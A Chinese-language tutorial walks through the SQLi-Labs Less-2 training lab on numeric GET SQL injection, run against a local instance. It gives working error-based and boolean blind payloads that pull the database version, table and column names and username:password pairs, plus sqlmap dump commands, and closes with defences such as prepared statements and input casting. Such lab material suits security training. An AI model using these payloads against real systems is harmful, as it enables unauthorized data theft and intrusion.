1. 项目概述
SQLi-Labs是一个专门用于学习SQL注入技术的开源靶场项目,其中Less-2关卡聚焦于数字型GET注入的实战演练。这个靶场模拟了Web应用中常见的数字型参数处理场景,是安全测试人员必须掌握的基础技能之一。
数字型注入与字符型注入的主要区别在于参数处理方式。数字型参数不需要单引号包裹,直接拼接在SQL语句中,这导致攻击者可以构造特殊数字值来破坏原有SQL逻辑。Less-2关卡正是针对这种漏洞设计的典型环境,通过这个靶场我们可以学习到:
- 如何识别数字型注入点
- 构造有效payload的基本方法
- 利用错误回显提取数据库信息
- 完整的注入攻击链实现
2. 环境准备与靶场搭建
2.1 基础环境配置
在开始实战前,需要准备以下环境:
- PHP 5.4+/7.0+运行环境
- MySQL 5.5+数据库
- Apache/Nginx Web服务器
- 最新版SQLi-Labs源码
建议使用集成的开发环境如XAMPP或Docker快速部署。以下是Docker一键部署命令:
bash复制docker run -d -p 80:80 -p 3306:3306 --name sqli-labs acgpiano/sqli-labs
2.2 靶场初始化
部署完成后,访问http://localhost/sqli-labs/进入安装页面。点击"Setup/reset Database"链接初始化数据库结构。成功后可以看到Less-2的入口链接,URL格式为:
code复制http://localhost/sqli-labs/Less-2/?id=1
这个页面模拟了一个电商网站的商品详情页,通过id参数查询商品信息。
3. 注入原理深度解析
3.1 数字型注入漏洞成因
查看Less-2的源码可以发现关键SQL语句:
php复制$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";
与字符型注入不同,这里id参数直接以数字形式拼接,没有使用引号包裹。当攻击者输入1 and 1=2时,实际执行的SQL变为:
sql复制SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1
由于1=2条件为假,查询将返回空结果,这就是经典的布尔盲注原理。
3.2 数字型注入特点
- 无需闭合引号:payload直接作为数字表达式的一部分
- 运算自由度高:可利用算术运算符(+-*/%)和位运算符
- 类型转换风险:MySQL会尝试自动转换非数字字符
- 报错信息丰富:错误的数字表达式常会产生详细错误信息
4. 手工注入实战步骤
4.1 漏洞探测
首先测试基本注入点:
code复制http://localhost/sqli-labs/Less-2/?id=1 and 1=1 --+
http://localhost/sqli-labs/Less-2/?id=1 and 1=2 --+
观察页面返回差异,确认存在布尔型注入。
4.2 数据库信息收集
4.2.1 查询数据库版本
code复制?id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
这个payload利用了MySQL的报错注入技术,通过rand()和group by的组合触发重复键错误,在错误信息中返回版本号。
4.2.2 获取当前数据库名
code复制?id=1 and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
4.3 表结构枚举
4.3.1 查询所有表名
code复制?id=1 and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
通过修改limit参数可以逐个获取表名。
4.3.2 查询users表字段
code复制?id=1 and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
4.4 数据提取实战
4.4.1 获取用户名和密码
code复制?id=1 and (select 1 from (select count(*),concat((select concat(username,':',password) from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
4.4.2 使用布尔盲注提取数据
当报错注入不可用时,可以使用基于布尔逻辑的逐位判断:
code复制?id=1 and ascii(substr((select username from users limit 0,1),1,1))>100 --+
通过二分法不断调整比较值,可以逐个字符还原出完整数据。
5. 自动化工具辅助注入
5.1 SQLmap基础使用
手工注入虽然直观,但效率较低。可以使用SQLmap自动化工具:
bash复制sqlmap -u "http://localhost/sqli-labs/Less-2/?id=1" --risk=3 --level=5 --dbs
5.2 SQLmap高级技巧
5.2.1 指定注入技术
code复制sqlmap -u "http://localhost/sqli-labs/Less-2/?id=1" --technique=B
B表示布尔盲注,其他选项包括:
- T: 时间盲注
- E: 报错注入
- U: UNION查询注入
5.2.2 数据导出
code复制sqlmap -u "http://localhost/sqli-labs/Less-2/?id=1" -D security -T users --dump
6. 防御方案与最佳实践
6.1 参数化查询
PHP中使用PDO的示例:
php复制$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);
6.2 输入验证
对数字型参数进行严格类型检查:
php复制$id = (int)$_GET['id'];
if($id <= 0) {
die('Invalid ID');
}
6.3 最小权限原则
数据库用户应仅具有必要权限:
sql复制CREATE USER 'webuser'@'localhost' IDENTIFIED BY 'password';
GRANT SELECT ON security.users TO 'webuser'@'localhost';
7. 常见问题与调试技巧
7.1 注入不成功排查
- 检查URL编码:空格应编码为
+或%20 - 验证注释符号:MySQL使用
--(注意末尾空格)或# - 测试不同注入点:有时需要尝试多个参数
7.2 特殊字符处理
对于需要嵌入单引号的情况,可以使用:
code复制?id=1 and (select 1 from (select count(*),concat((select concat_ws(0x3a,username,password) from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
这里使用0x3a代替冒号字符,避免引号问题。
7.3 性能优化技巧
- 使用
limit减少数据传输量 - 优先选择报错注入而非布尔盲注
- 缓存已获取的数据结构信息
8. 拓展学习路径
完成Less-2后,建议继续挑战:
- Less-3: 带括号的数字型注入
- Less-4: 数字型POST注入
- Less-5: 双查询注入进阶
对于想深入理解MySQL注入的学员,推荐研究:
- MySQL隐式类型转换规则
- 预处理语句实现原理
- 数据库防火墙工作原理
在实际渗透测试中,数字型注入常见于:
- 分页参数(page)
- 商品ID(product_id)
- 用户ID(uid)
- 排序参数(sort)
掌握这类注入技术对Web安全从业人员至关重要。